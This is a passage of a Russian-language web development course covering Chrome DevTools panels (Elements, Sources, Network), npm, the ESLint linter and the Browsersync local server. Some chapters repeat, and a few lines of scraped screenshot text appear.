Стоит учитывать, что DOM генерируется в процессе загрузки страницы и хоть он визуально похож на разметку — на самом деле ей не является. В процессе генерации DOM могут быть исправлены некоторые ошибки разметки и добавлены новые элементы с помощью JavaScript.

Посмотреть разметку страницы можно по клику на произвольной области экрана правой кнопкой мыши → «Просмотр кода страницы».

На примере видно, что при генерации DOM в `table` появились обязательные теги `tbody` и `tr`, появился закрывающий тег у `form`, также с помощью JavaScript на странице появились чекбоксы и заголовок, но сама разметка при этом осталась в исходном состоянии.

Возможности

- **Кнопка inspect** позволяет выбрать элемент на странице с помощью мыши.

Рисунок 2. Кнопка Inspect

Альтернативные способы выбора элемента:

- Правый клик по элементу → Просмотреть код (Inspect).
- Комбинация клавиш — `Command+Option+C` (macOS) или `Control+Shift+C` (Windows, Linux) + клик по элементу.

- **Кнопка переключения Device Toolbar** используется для оценки того, как страница выглядит и работает на мобильном устройстве. Об этой возможности поговорим отдельно.

Рисунок 3. Кнопка переключения Device Toolbar

Секция с вкладками в правой боковой панели DevTools

- **Styles** — выводит и позволяет редактировать стили элемента, включая наследуемые от родительских элементов, показывает блочную модель элемента.
- **Computed** — на этой вкладке перечислены только стили, которые отображаются на экране. Все относительные единицы будут пересчитаны в пиксели.
- **Layout** — предоставляет наглядное отображение всех CSS grid сеток на странице. Подробнее в документации по Chrome DevTools.
- **Event Listeners** — выводит обработчики событий элемента.
- **DOM Breakpoints** — используется для остановки кода, который изменяет выбранный элемент или его детей. Подробнее в документации по Chrome DevTools.
- **Properties** — выводит все доступные свойства элемента.
- **Accessibility** — позволяет проверять каждый элемент по метрикам доступности. Подробнее в документации по Chrome DevTools.

Теория ~ 3 минуты

Глава 8.3.2. Как посмотреть обработчики на элементе

Для просмотра текущих обработчиков событий на элементе в браузере Chrome нужно выбрать элемент во вкладке Elements и открыть секцию Event Listeners в боковой панели справа.

Рисунок 1. Просмотр текущих обработчиков событий

У каждого обработчика указаны:

1. Место и строка в коде, где он был добавлен.
2. Опции обработчика событий, подробнее об опциях на MDN.
3. Колбэк-функция обработчика.

Рисунок 2. Из чего состоит каждый обработчик

Элементы управления

- **Кнопка Refresh**. Нужна для обновления списка обработчиков событий. Список не обновляется автоматически после добавления нового обработчика, обновлять нужно вручную.
- **Чекбокс Ancestors**. Когда флажок снят, отображаются только обработчики для текущего выбранного узла.

  Когда флажок Ancestors включён, вместе с обработчиком текущего выбранного узла отображаются обработчики событий родителей этого узла.
- **Фильтры**.
  - **Passive** — показывать только обработчики событий, которым передана опция `{passive: true}`.
  - **Blocking** — показывать все обработчики, кроме пассивных.
  - **All** — показывать все обработчики.
- **Чекбокс Framework listeners**. Некоторые Фреймворки и библиотеки JavaScript оборачивают события DOM в свои пользовательские API событий. В прошлом это затрудняло проверку обработчиков событий с помощью DevTools, потому что определение функции ссылалось на код фреймворка или библиотеки, а не на место использования. Опция Framework listeners решает эту проблему.

  Когда флажок Framework listeners включён, DevTools не ссылается на фреймворк, а показывает, где вы добавили обработчик в своём коде.

Пройдёмся по пунктам на примере. Для наглядности работы чекбокса Framework listeners подключим библиотеку jQuery:

Просмотр обработчиков в других браузерах

В Firefox обработчики на элементе показаны в Инспекторе прямо рядом с элементом:

Обработчики событий в Firefox

В Safari почти как в Chrome, обработчики показаны справа с разбивкой на группы по типу события:

Обработчики событий в Safari

Каждую группу можно «развернуть» и посмотреть обработчики:

Группа обработчиков событий по типу

Если кликнуть на адрес и строку, попадём во вкладку «Источники». Здесь можно посмотреть код обработчика:

Код обработчика событий

Теория ~ 3 минуты

Глава 8.4.1. Обзор панелей вкладки Sources

Вкладка Sources содержит данные о различных файлах исходного кода проекта, которые браузер получает с сервера.

Статьи по теме в блоге Академии:

- Введение в Chrome DevTools. Панель Elements
- Введение в Chrome DevTools. Console, Sources, Network

Она состоит из трёх основных блоков:

- View
- Editor
- Debug

В каждом блоке может быть несколько вкладок.

View

Первая вкладка, Page, служит для просмотра файлов, которые загружаются на страницу. Основные данные содержатся в top, это главный фрейм, он есть на любой странице, и в нём отображаются все основные ресурсы: скрипты, стили, шрифты и тому подобное.

Editor

Если выбрать файл на вкладке Page, он откроется в основном блоке редактирования. Он обладает всем базовым функционалом редактора кода: через него можно редактировать стили и скрипты, просматривать картинки. Изменения стилей немедленно отобразятся, а для работы скриптов нужно нажать Command+S (Mac) или Ctrl+S (Windows, Linux). Чтобы скрипт отработал, изменения должны быть в вызываемой функции. Будьте осторожны, при перезагрузке страницы эти изменения пропадут.

Чаще всего с сервера браузер получает минифицированный код, сложный для восприятия человеком. На этот случай предусмотрена кнопка `Pretty print {}`, которая разворачивает сжатый код в читаемый.

Debug

Здесь содержится функционал для работы со скриптами и процессом загрузки страницы.

Watch

Watch помогает отслеживать значение переменных в файле скриптов. Чтобы добавить переменную к просмотру, нажмите иконку плюса в правом углу, в появившемся поле напишите имя переменной, нажмите Enter.

Breakpoints

Брейкпоинты (точки останова) останавливают выполнение функции в определённый момент. Остановить выполнение кода можно на конкретной строке (нажать строку во вкладке редактирования файла или добавить в коде ключевое слово `debugger`), на слушателе события (Event Listener) или при выполнении запроса (XHR breakpoint).

Call Stack

Как известно, JavaScript — однопоточный язык, стек вызова в нём один, и функции в нём исполняются по цепочке, одна за одной. В этой вкладке можно отследить последовательность вызовов функций на момент остановки скрипта, переключаться между ними по стеку. При переключении показывается строка кода, где вызвана текущая функция и её положение в цепочке вызовов. По умолчанию, если не пользоваться точками останова, Call Stack будет пуст.

Теория ~ 3 минуты

Глава 8.4.1. Обзор панелей вкладки Sources

Вкладка Sources содержит данные о различных файлах исходного кода проекта, которые браузер получает с сервера.

Статьи по теме в блоге Академии:

- Введение в Chrome DevTools. Панель Elements
- Введение в Chrome DevTools. Console, Sources, Network

Она состоит из трёх основных блоков:

- View
- Editor
- Debug

В каждом блоке может быть несколько вкладок.

View

Первая вкладка, Page, служит для просмотра файлов, которые загружаются на страницу. Основные данные содержатся в top, это главный фрейм, он есть на любой странице, и в нём отображаются все основные ресурсы: скрипты, стили, шрифты и тому подобное.

Editor

Если выбрать файл на вкладке Page, он откроется в основном блоке редактирования. Он обладает всем базовым функционалом редактора кода: через него можно редактировать стили и скрипты, просматривать картинки. Изменения стилей немедленно отобразятся, а для работы скриптов нужно нажать Command+S (Mac) или Ctrl+S (Windows, Linux). Чтобы скрипт отработал, изменения должны быть в вызываемой функции. Будьте осторожны, при перезагрузке страницы эти изменения пропадут.

Чаще всего с сервера браузер получает минифицированный код, сложный для восприятия человеком. На этот случай предусмотрена кнопка `Pretty print {}`, которая разворачивает сжатый код в читаемый.

Debug

Здесь содержится функционал для работы со скриптами и процессом загрузки страницы.

Watch

Watch помогает отслеживать значение переменных в файле скриптов. Чтобы добавить переменную к просмотру, нажмите иконку плюса в правом углу, в появившемся поле напишите имя переменной, нажмите Enter.

Breakpoints

Брейкпоинты (точки останова) останавливают выполнение функции в определённый момент. Остановить выполнение кода можно на конкретной строке (нажать строку во вкладке редактирования файла или добавить в коде ключевое слово `debugger`), на слушателе события (Event Listener) или при выполнении запроса (XHR breakpoint).

Call Stack

Как известно, JavaScript — однопоточный язык, стек вызова в нём один, и функции в нём исполняются по цепочке, одна за одной. В этой вкладке можно отследить последовательность вызовов функций на момент остановки скрипта, переключаться между ними по стеку. При переключении показывается строка кода, где вызвана текущая функция и её положение в цепочке вызовов. По умолчанию, если не пользоваться точками останова, Call Stack будет пуст.

Глава 8.4.2. Точки останова

Точки останова (breakpoints) — самый простой и удобный инструмент отладки кода, предоставляемый браузером. Используя его, можно заставить интерпретатор JavaScript остановить выполнение на определённой строке кода, а затем выполнять код в пошаговом режиме, отслеживая значения интересующих разработчика переменных.

Чтобы начать работу с точками останова, перейдите во вкладку Sources и в левой колонке выберите файл, где находится интересующий вас скрипт.

Elements
Console
Sources
Network
Performance
Memory
Application
Security
Lighthouse
AdBlock
Page
Filesystem
Overrides
study
top
htmlacademy.ru
upload/images/preview/4
study
htmlacademy.webmanifest
analytics.tiktok.com
assets.htmlacademy.ru
cdn.amplitude.com
i.getsitecontrol.com
mc.yandex.ru
s2.getsitecontrol.com
sf19-scmcdn-va.bytedtos.com
top-fwz1.mail.ru
vk.com
www.google-analytics.com
www.googleadservices.com
www.googletagmanager.com
www.gstatic.com
console.log('Message recieved: ', payload);
new Notification(payload.notification.title, payload.notification);
});
});
</script><link rel="dns-prefetch" href="https://assets.htmlacademy.ru"><link rel="stylesheet" href="https://assets.htmlacademy.ru
Node.js. Разработка сервиса приложений и API
В асинхронном форматеНе
<div class="activity-banne

Теория ~ 5 минут

Глава 8.5.1. Обзор вкладки Network

Статьи по теме в блоге Академии:

- Введение в Chrome DevTools. Панель Elements
- Введение в Chrome DevTools. Console, Sources, Network

Обзор столбцов таблицы ресурсов

С помощью вкладки Network можно выяснить, сколько времени заняла загрузка страницы, какие ресурсы подключились или не подключились к странице и многое другое. При первом открытии вкладка может оказаться пустой, потому что при закрытых инструментах веб-разработчика запись не ведётся, в этом случае просто перезагрузите страницу.

После перезагрузки внизу появится таблица всех ресурсов, подключённых к странице, и данные о них:

- **Name** — имя ресурса;
- **Status** — статус ответа сервера (`200`, `404`, `500` и другие);
- **Type** — тип ресурса (`script`, `stylesheet`, `font` и другие);
- **Initiator** — действие или скрипт, которые инициировали загрузку ресурса; при клике на название скрипта скрипт откроется во вкладке `Sources`;
- **Size** — размер ресурса; браузер может кэшировать ресурсы, в таких случаях в этом столбце может быть значение `memory cache` (временный кэш, хранится до закрытия браузера) или `disk cache` (постоянный кэш, хранится, пока пользователь не очистит его);
- **Time** — время загрузки ресурса в миллисекундах;
- **Waterfall** — графическое представление времени загрузки с разделением на этапы; при наведении курсора на полосу появляется окно с подробной информацией.

Кликнув по таблице правой кнопкой мыши, можно увидеть все доступные столбцы таблицы и выбрать нужные.

Рисунок 1. Выбор показанных столбцов ресурсов

Рисунок 1. Выбор показанных столбцов ресурсов

Обычно вкладку `Network` используют, чтобы узнать состояние ресурса, который не отображается на странице, но был к ней подключён. Смотрим в таблицу — если есть какая-то ошибка, ресурс будет выделен красным. Если ошибок нет, то статус каждого запроса — `200`. Это значит, что ресурс загружен успешно.

Рисунок 2. Состояния ресурсов

Рисунок 2. Состояния ресурсов

Рисунок 3. Успешно загруженный ресурс

Рисунок 3. Успешно загруженный ресурс

Рисунок 4. Ресурс с ошибкой запроса

Рисунок 4. Ресурс с ошибкой запроса

Кстати, сообщение об ошибке загрузки ресурса отобразится и во вкладке `Console`.

Рисунок 5. Ошибка загрузки ресурса на вкладке Console

Рисунок 5. Ошибка загрузки ресурса на вкладке Console

Отслеживание ошибок загрузки удобнее производить именно во вкладке `Console`, так как сообщения об ошибках в ней хорошо заметны, а таблица ресурсов во вкладке `Network` может быть очень длинной, что затруднит поиск.

Фильтрация типов запросов

На вкладке `Network` есть возможность отфильтровать загруженные ресурсы по типу запроса. С помощью фильтрации можно проследить, как загружаются определённые ресурсы — например, картинки, стили или скрипты. Если нажать на иконку фильтра в левом верхнем углу, появится панель для фильтрации, в которой можно выбрать один из типов ресурсов.

Чаще всего отлаживать приходится запросы к серверу. Нажав на имя запроса, можно увидеть подробности о его загрузке и содержимом:

- **Headers** — здесь хранится общая информация о запросе и ответе: `URL` запроса, метод запроса, код ответа, адрес сервера и так далее.

  Рисунок 6. Подробности о содержимом запроса

  Рисунок 6. Подробности о содержимом запроса

- **Preview, Response** — здесь можно увидеть данные, которые вернул сервер в ответ на запрос; разница в том, что во вкладке `Preview` данные представлены в обработанном виде, а в `Response` в исходном (например, для `SVG` файла во вкладке `Response` мы увидим разметку, а в `Preview` изображение);
- **Initiator** — здесь можно увидеть, какое действие пользователя или скрипт инициировали запрос;
- **Timing** — здесь хранится подробная информация о времени загрузки ресурса, разделённая на этапы;

Выбор скорости

Мы можем выбрать скорость соединения и проверить, как сайт будет работать на мобильном устройстве где-нибудь за городом. Для этого необходимо выбрать один из профилей в выпадающем меню:

Рисунок 7. Выбор скорости

Рисунок 7. Выбор скорости

Это может быть полезно для оптимизации загрузки ресурсов. При выборе профиля с низкой скоростью (например, `Slow 3G`), можно отследить, загрузка каких ресурсов занимает наибольшее время и в дальнейшем исправить ситуацию.

При необходимости в настройках DevTools можно создать свои профили скорости для более гибкой отладки.

Теория ~ 5 минут

Глава 8.5.1. Обзор вкладки Network

Статьи по теме в блоге Академии:

- Введение в Chrome DevTools. Панель Elements
- Введение в Chrome DevTools. Console, Sources, Network

Обзор столбцов таблицы ресурсов

С помощью вкладки Network можно выяснить, сколько времени заняла загрузка страницы, какие ресурсы подключились или не подключились к странице и многое другое. При первом открытии вкладка может оказаться пустой, потому что при закрытых инструментах веб-разработчика запись не ведётся, в этом случае просто перезагрузите страницу.

После перезагрузки внизу появится таблица всех ресурсов, подключённых к странице, и данные о них:

- **Name** — имя ресурса;
- **Status** — статус ответа сервера (`200`, `404`, `500` и другие);
- **Type** — тип ресурса (`script`, `stylesheet`, `font` и другие);
- **Initiator** — действие или скрипт, которые инициировали загрузку ресурса; при клике на название скрипта скрипт откроется во вкладке `Sources`;
- **Size** — размер ресурса; браузер может кэшировать ресурсы, в таких случаях в этом столбце может быть значение `memory cache` (временный кэш, хранится до закрытия браузера) или `disk cache` (постоянный кэш, хранится, пока пользователь не очистит его);
- **Time** — время загрузки ресурса в миллисекундах;
- **Waterfall** — графическое представление времени загрузки с разделением на этапы; при наведении курсора на полосу появляется окно с подробной информацией.

Кликнув по таблице правой кнопкой мыши, можно увидеть все доступные столбцы таблицы и выбрать нужные.

Рисунок 1. Выбор показанных столбцов ресурсов

Рисунок 1. Выбор показанных столбцов ресурсов

Обычно вкладку `Network` используют, чтобы узнать состояние ресурса, который не отображается на странице, но был к ней подключён. Смотрим в таблицу — если есть какая-то ошибка, ресурс будет выделен красным. Если ошибок нет, то статус каждого запроса — `200`. Это значит, что ресурс загружен успешно.

Рисунок 2. Состояния ресурсов

Рисунок 2. Состояния ресурсов

Рисунок 3. Успешно загруженный ресурс

Рисунок 3. Успешно загруженный ресурс

Рисунок 4. Ресурс с ошибкой запроса

Рисунок 4. Ресурс с ошибкой запроса

Кстати, сообщение об ошибке загрузки ресурса отобразится и во вкладке `Console`.

Рисунок 5. Ошибка загрузки ресурса на вкладке Console

Рисунок 5. Ошибка загрузки ресурса на вкладке Console

Отслеживание ошибок загрузки удобнее производить именно во вкладке `Console`, так как сообщения об ошибках в ней хорошо заметны, а таблица ресурсов во вкладке `Network` может быть очень длинной, что затруднит поиск.

Фильтрация типов запросов

На вкладке `Network` есть возможность отфильтровать загруженные ресурсы по типу запроса. С помощью фильтрации можно проследить, как загружаются определённые ресурсы — например, картинки, стили или скрипты. Если нажать на иконку фильтра в левом верхнем углу, появится панель для фильтрации, в которой можно выбрать один из типов ресурсов.

Чаще всего отлаживать приходится запросы к серверу. Нажав на имя запроса, можно увидеть подробности о его загрузке и содержимом:

- **Headers** — здесь хранится общая информация о запросе и ответе: `URL` запроса, метод запроса, код ответа, адрес сервера и так далее.

  Рисунок 6. Подробности о содержимом запроса

  Рисунок 6. Подробности о содержимом запроса

- **Preview, Response** — здесь можно увидеть данные, которые вернул сервер в ответ на запрос; разница в том, что во вкладке `Preview` данные представлены в обработанном виде, а в `Response` в исходном (например, для `SVG` файла во вкладке `Response` мы увидим разметку, а в `Preview` изображение);
- **Initiator** — здесь можно увидеть, какое действие пользователя или скрипт инициировали запрос;
- **Timing** — здесь хранится подробная информация о времени загрузки ресурса, разделённая на этапы;

Выбор скорости

Мы можем выбрать скорость соединения и проверить, как сайт будет работать на мобильном устройстве где-нибудь за городом. Для этого необходимо выбрать один из профилей в выпадающем меню:

Рисунок 7. Выбор скорости

Рисунок 7. Выбор скорости

Это может быть полезно для оптимизации загрузки ресурсов. При выборе профиля с низкой скоростью (например, `Slow 3G`), можно отследить, загрузка каких ресурсов занимает наибольшее время и в дальнейшем исправить ситуацию.

При необходимости в настройках DevTools можно создать свои профили скорости для более гибкой отладки.

~ 4 минуты

Глава 8.5.2. Опции Preserve log и Disable cache

В статье «Опция „Preserve log“ в консоли» мы узнали о журнале событий. Аналогичная функциональность есть и на вкладке Network, но с небольшими отличиями.

Включаем опцию Preserve log на вкладке Network

Как это работает?

Во время загрузки страницы формируется журнал запросов, в котором мы можем посмотреть, как именно загружалась страница и какие для этого использовались ресурсы. Если опция *Preserve log* не включена, то журнал будет очищаться при каждом обновлении страницы или переходе на другую страницу.

Давайте посмотрим, какие запросы делает страница, на примере загрузки стилей:

Если опция «Preserve log» включена, то журнал будет обновляться, добавляя новые записи в лог:

Для примера посмотрим, как загружаются шрифты на сайте. При первой загрузке шрифты загружаются с сайта, но при повторном обновлении — из кеша:

Это один из множества примеров, когда удобно использовать журнал.

Как работать с временной шкалой журнала, и зачем она нужна?

Представим ситуацию, когда на странице много ресурсов, и при обновлении страницы становится непонятно, где начинается новый лог, а где ещё старый. В Chrome DevTools, на шкале *Timeline* (таймлайн) есть специальные линии, которые сообщают нам о том, где закончилась загрузка всей страницы (контента). Синяя полоска соответствует событию `DOMContentLoaded`, а красная `Load`.

При помощи таймлайна мы можем посмотреть историю добавления логов в журнал, проанализировать порядок загрузки ресурсов и исполнения асинхронных скриптов.

Как очистить лог?

При включённой опции *Preserve log* очистить журнал можно, нажав на соответствующую иконку или сочетанием клавиш `Ctrl+L` (`Fn+Ctrl+L` для macOS).

Отключение кеша страницы

В Chrome DevTools можно включить имитацию первого захода пользователя на страницу. Для этого необходимо включить опцию *Disable cache*, в таком случае браузер не будет сохранять в кеш ресурсы, полученные при загрузке страницы, а будет их запрашивать при каждом обновлении страницы.

> « Важно помнить, что эта опция работает, только если открыты Chrome DevTools. Стоит их закрыть, опция перестаёт работать.

Такая функциональность есть и в Firefox, включить её можно во вкладке *Network Monitor — Disable Cache* (в некоторых версиях может называться *Disable Http Cache*).

Кроме этого есть другие варианты, как сбросить кэш:

- Можно использовать жёсткую перезагрузку страницы, для этого нужно нажать сочетание клавиш `Ctrl+Shift+R`.
- Открыть историю браузера (`Ctrl+Y`) — Очистить историю — Файлы, сохранённые в кеш (названия пунктов меню могут меняться в зависимости от браузера).
- Открыть Chrome DevTools — Application — Storage — Clear site data. Будут очищены все данные для сайта: Cache и Storage (Local Storage, session, cookies и т. д.). Если нужно очистить определённые данные, воспользуйтесь соответствующим разделом в панели навигации или снимите галочки, возле пунктов, которые не нужно очищать.

Похожая возможность из последнего пункта есть и в Firefox. Для этого откройте DevTools — Storage — Контекстное меню (правая кнопка мыши) — Delete all (Delete конкретное значение).

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 7 минут

Глава 9.1. Node.js и npm

Node.js — платформа для выполнения JavaScript-кода вне браузера. Нет, наш код мы будем по-прежнему выполнять в браузере, а вот код вспомогательных инструментов, вроде ESLint и Browsersync, которые потребуются на время разработки и которые написаны на JavaScript, нужно выполнять вне браузера в терминале компьютера. Для этих целей отлично подходит Node.js.

Где же брать код вспомогательных инструментов? В Node Package Manager (менеджер пакетов Node.js), он же *npm*. Это огромное хранилище готового кода, готовых решений частых проблем.

Зачем нужен npm

По-настоящему уникальных прикладных задач разработчикам приходится решать мало. Практически любая задача, которую решают программисты, уже кем-то решалась до этого. И всё это есть в npm. Неважно, это что-то объёмное или маленькая библиотечка: если есть код, который проверен и прекрасно справляется с решением вашей задачи, нет смысла тратить время и силы на написание похожего кода. Лучше сфокусировать все силы и внимание на решении бизнес-задач. Иными словами, если мы всё время будем изобретать колесо, то никогда не изобретём автомобиль.

Работа с npm на практике

Изучать npm-пакеты удобно на сайте npmjs.com, а работать с ними — в терминале. Приложение для работы с npm поставляется вместе с Node.js, и после установки последней вам в терминале будет доступна команда `npm`.

Приложение, которое работает с Node.js и npm, обязательно должно содержать файл `package.json` — файл с описанием проекта и списком зависимостей (так называют установленные в проект npm-пакеты). В наших проектах этот файл уже будет присутствовать.

> **Обратите внимание,** так как это обычный JSON-файл, может появиться ложное ощущение, что его можно изменять напрямую в редакторе. Это не так! Все изменения в `package.json` вносятся выполнением специальных команд в терминале. Исключением является секция `scripts`, но о ней мы поговорим отдельно.

Установка зависимостей

Все новые зависимости устанавливаются с помощью команды `npm install` или её короткой версии `npm i`. Например, если нам требуется установить пакет `eslint`, команда установки будет выглядеть следующим образом:

```
npm install eslint --save-dev --save-exact
```

После выполнения этой команды произойдёт несколько событий:

- Сформируется файл `package-lock.json`, который помогает «запомнить» точные версии зависимостей, чтобы в будущем устанавливать именно их. Данный файл формируется сразу после установки первой зависимости. Если в проекте уже установлены какие-либо зависимости, то файл `package-lock.json` просто обновится. Файл `package-lock.json` нужно коммитить в репозиторий.
- В файле `package.json` появится новая секция `devDependencies` (или обновится). В эту секцию запишется информация об установленном пакете: его название и версия. Файл `package.json` также нужно коммитить в репозиторий.
- В директории проекта будет создана новая директория `node_modules` (или обновится). Именно в неё будет загружен пакет eslint. Директорию `node_modules` **не нужно** коммитить в репозиторий.

Но если не коммитить директорию `node_modules`, то как другой разработчик или мы сами на другом компьютере получим доступ к пакетам? Мы их снова установим! Нет, не вручную и не поштучно. Одной командой, и все разом. В этом нам поможет файл `package.json`, где в секции `devDependencies` перечислены все зависимости нашего проекта, и если в терминале выполнить просто `npm install`, то будут установлены все зависимости из `package.json`.

Обычно, команду `npm install` выполняют единожды, когда начинают работу с новым проектом на новом рабочем месте. Далее выполнение этой команды не требуется.

▶ А что такое `--save-dev` и `--save-exact`?

Сценарии

Файл `package.json` предусматривает специальную секцию `scripts`, в которой могут быть описаны различные сценарии запуска. Для запуска любого сценария применяется команда `npm run имя_скрипта`. Давайте посмотрим пример:

```
{
  "scripts": {
    "lint": "eslint"
  }
}
```

В приведённом примере секция `scripts` содержит один сценарий — `lint`, чтобы запустить его, нужно воспользоваться командой:

```
npm run lint
```

Что сделает эта команда? Она запустит в среде Node.js на компьютере пакет `eslint`, который содержит программу ESLint, помогающую анализировать написанный на JavaScript-код и находить в нём синтаксические ошибки.

Node.js и npm на курсе

И хотя пакеты в npm написаны на JavaScript, просто так подключить и использовать их в браузере не получится. Для корректной работы npm-пакетов на веб-сайте нужно настраивать сборщики или использовать CDN. Этим мы заниматься не будем. Ещё раз, наша работа с Node.js и npm на курсе ограничится установкой и использованием вспомогательных инструментов для разработки, вроде ESLint и Browsersync.

Кроме того, в npm есть пакеты на все случаи жизни, и велик соблазн пуститься в марафон установки готовых пакетов на любой «чих», и разом превратиться из разработчика в интегратора готовых пакетов. Поэтому нужно отдельно учиться добавлять зависимости в проект с умом, а это тема на отдельный мини-курс.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 7 минут

Глава 9.2. Линтер ESLint

ESLint — это инструмент, помогающий анализировать написанный на JavaScript код, находить синтаксические ошибки и автоматически их исправлять, писать аккуратный код в едином стиле по определённым правилам.

ESLint в терминале

« Обратите внимание, на курсе **ESLint** уже будет в зависимостях вашего проекта. В другой ситуации прежде, чем использовать ESLint, может потребоваться его установка из **npm**.

Давайте испытаем **ESLint** в действии. Для удобства все проверки будем проводить в проекте «Кекстаграм» — точно таком же проекте, как тот, над которым вы будете работать на курсе.

В файле `main.js` попробуем написать простую функцию для вывода суммы двух чисел и с помощью **ESLint** проверить правильность написанного кода. Для это в терминале выполним команду `npm run lint`.

ESLint показывает, что нашёл 6 ошибок в файле `main.js`. Цифры слева говорят на какой строке, на каком символе, была найдена ошибка. Дальше в строке идёт описание ошибки. Например:

Ошибки, найденные ESLint после выполнения команды npm run lint

Ошибки, найденные ESLint после выполнения команды npm run lint

« Обратите внимание, что требования, по которым **ESLint** проверяет код, на каждом проекте могут быть свои, всё зависит от правил, принятых в команде. Например, в команде может быть принято использование двойных кавычек, в таком случае **ESLint** не будет ругаться на двойные кавычки, а вот при использовании одинарных возникнет ошибка. Такие правила описываются в специальном файле `.eslintrc`. Сейчас вам не нужно изучать, как устроен этот файл, просто знайте, что он есть.

Текст `5 errors and 0 warnings potentially fixable with the `--fix` option` после списка ошибок говорит о том, что пять из шести найденных ошибок **ESLint** сможет исправить автоматически.

Для того, чтобы исправлять ошибки, у **ESLint** есть специальная опция `fix`. Чтобы воспользоваться этой опцией, выполним команду `npm run lint -- --fix` в терминале. Ключ `--fix` говорит о том, что мы хотим исправить ошибки автоматически, а два подчёркивания `--` перед ключом помогают понять терминалу, что ключ относится не к команде `npm run lint`, а к тому, что за ней скрывается — к `eslint`.

О чудо, **ESLint** исправил 5 ошибок: поправил пробелы, заменил кавычки на одинарные, удалил ненужную точку с запятой — теперь код выглядит чище. Осталось вызвать функцию, чтобы исправить последнюю ошибку. Здесь **ESLint** нам не поможет.

Так будет выглядеть результат вызова `npm run lint` в терминале без ошибок в коде:

ESLint в редакторе

А что, если нам хочется сразу, в момент написания кода, знать, какие ошибки мы совершаем, и исправлять их на лету? Для этого в редактор можно установить расширение для **ESLint**, которое будет подсвечивать найденную ошибку прямо в файле, а при наведении подсказывать, в чём именно ошибка.

Установка расширения для ESLint в VS Code

« Расширение для **ESLint** в VS Code может попросить подтвердить единожды его запуск, если пакет `eslint` установлен локально (наш случай). Когда расширение спросит, откуда брать пакет `eslint`, нужно нажать «Allow», чтобы разрешить использовать `eslint` в текущем проекте.

С помощью расширения для **ESLint** в редакторе также можно автоматически исправить ошибки. Для этого нужно навести на подсвеченную ошибку, нажать кнопку «Quick fix» в сплывающем окошке и выбрать один из предложенных вариантов. Например, можно исправить только конкретную ошибку, а можно и все доступные разом. Если ошибка не может быть автоматически исправлена, вместо кнопки «Quick fix» появится текст «No quick fixes available» или будут предложены альтернативные варианты решения.

Установка расширения для ESLint в Atom

В Atom тоже требуется специальное расширение `linter-eslint` для работы **ESLint**. Чтобы в Atom установить расширение, нужно перейти в раздел настроек «Install Packages». Открыть его можно из окна команд (сочетание клавиш `Ctrl + Shift + P` на Windows и `Command + Shift + P` на macOS), введя в поиске «Install Packages».

Открытие раздела настроек для установки расширений

Открытие раздела настроек для установки расширений

Также нужный раздел настроек можно открыть через меню: `Edit → Preferences → Install` — на Windows, `Atom → Preferences → Install` — в macOS.

Далее ищем нужное расширение и устанавливаем его:

Поиск нужного расширения

Поиск нужного расширения

Установка расширения

Установка расширения

После установки расширения, может появиться всплывающее окно с предложением установить нужные зависимости, то есть другие расширения, с помощью которых работает `linter-eslint`. Для правильной работы линтера нужно установить все предложенные зависимости.

Установка зависимостей

Установка зависимостей

Теперь можно приступить к исправлению ошибок, исправить большинство ошибок можно автоматически, наведя на ошибку и нажав «Fix» или снова использовать окно команд, где выполнить `Linter Eslint: Fix File`.

Исправление ошибок вручную:

В левом нижнем углу отображаются найденные ошибки, нажав на значки «Warning» или «Error» можно увидеть список ошибок прямо в редакторе.

Включение поддержки ESLint в WebStorm

В WebStorm не нужно устанавливать отдельное расширение, **ESLint** работает в этом редакторе «из коробки», достаточно только включить поддержку **ESLint**. Откройте окно `Preferences` с настройками, перейдите на вкладку ESLint (`Languages and Frameworks → JavaScript → Code Quality Tools → ESLint`) и выберете автоматическую конфигурацию ESLint — `Automatic ESLint configuration`. При автоматической конфигурации ESLint всегда будет искать в директории проекта файл `.eslintrc` с правилами оформления кода и ориентироваться на него.

В правом верхнем углу отображаются найденные ошибки, нажав на значки «Warning» или «Error» можно увидеть список ошибок прямо в редакторе.

Исправляются ошибки так же просто, достаточно нажать правой кнопкой мыши в файле с ошибками и выбрать из списка «Fix ESLint problems».

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 4 минуты

Глава 9.3. Локальный сервер Browsersync

Сайты, которые мы посещаем в интернете, хранятся на серверах — специальных компьютерах. А создаются на обычных компьютерах разработчиков. Для маленьких проектов из нескольких страниц в этом нет проблем. Однако для средних и больших проектов удобно сразу видеть, как сайт будет «работать на сервере».

Для таких целей в разработке используют локальный сервер — сервер «почти как настоящий», только запущенный на компьютере разработчика.

Почему не использовать настоящий сервер? Потому что тогда придётся каждое изменение в коде отправлять на сервер, а это время, к тому же в большинстве случаев настоящий сервер — это платная услуга. И нет смысла оплачивать сервер ещё на этапе разработки проекта.

Конечно, ещё можно просто открыть HTML-файл в браузере, но такой вариант удобен лишь для сайта из нескольких HTML-страниц. Когда же мы хотим увидеть работу нашего сайта словно он уже выложен на сервер, без локального сервера не обойтись.

На курсе для запуска локального сервера мы будем использовать инструмент **Browsersync**. Кроме самой функции локального сервера, у **Browsersync** есть ещё два преимущества:

- он умеет работать в режиме *livereload*, то есть отслеживать изменения, которые вы совершаете в файлах проекта, и на лету отображать их в браузере, самостоятельно перезагружая страницу.
- с локальным сервером сайт становится доступен в вашей локальной сети по IP-адресу, что позволяет тестировать проект одновременно в разных браузерах и даже на разных устройствах, подключённых к одной сети, например, по WI-FI.

Для запуска локального сервера нужно выполнить npm-сценарий (обычно `npm run start` или его короткий аналог `npm start`):

Если внести любое изменение в любой отслеживаемый файл, браузер самостоятельно перезагрузит страницу.

Попробуем изменить размер фаербола и скорость волшебника, сохраним файл и посмотрим на результат:

Браузер перезагрузился без нашей помощи, а фаербол и скорость волшебника тут же увеличились.

Отслеживание изменений

Browsersync умеет отслеживать изменения в любых файлах, не только в JavaScript. Список отслеживаемых файлов можно изменить в сценарии `start` в файле `package.json`. Файлы, за которыми мы хотим следить, прописываются в кавычках после команды `--files`. Можно даже добавить в отслеживаемые все файлы проекта, для этого в кавычках прописывается знак звёздочки `*` и больше ничего. Сейчас в нашем сценарии сказано, что мы хотим отслеживать только файлы с расширением `.js`, находящиеся в директории `js` или в её поддиректориях.

> « Мы не рекомендуем править этот сценарий в ваших проектах, потому что на курсе нам потребуется только отслеживание изменений в Javascript-файлах.

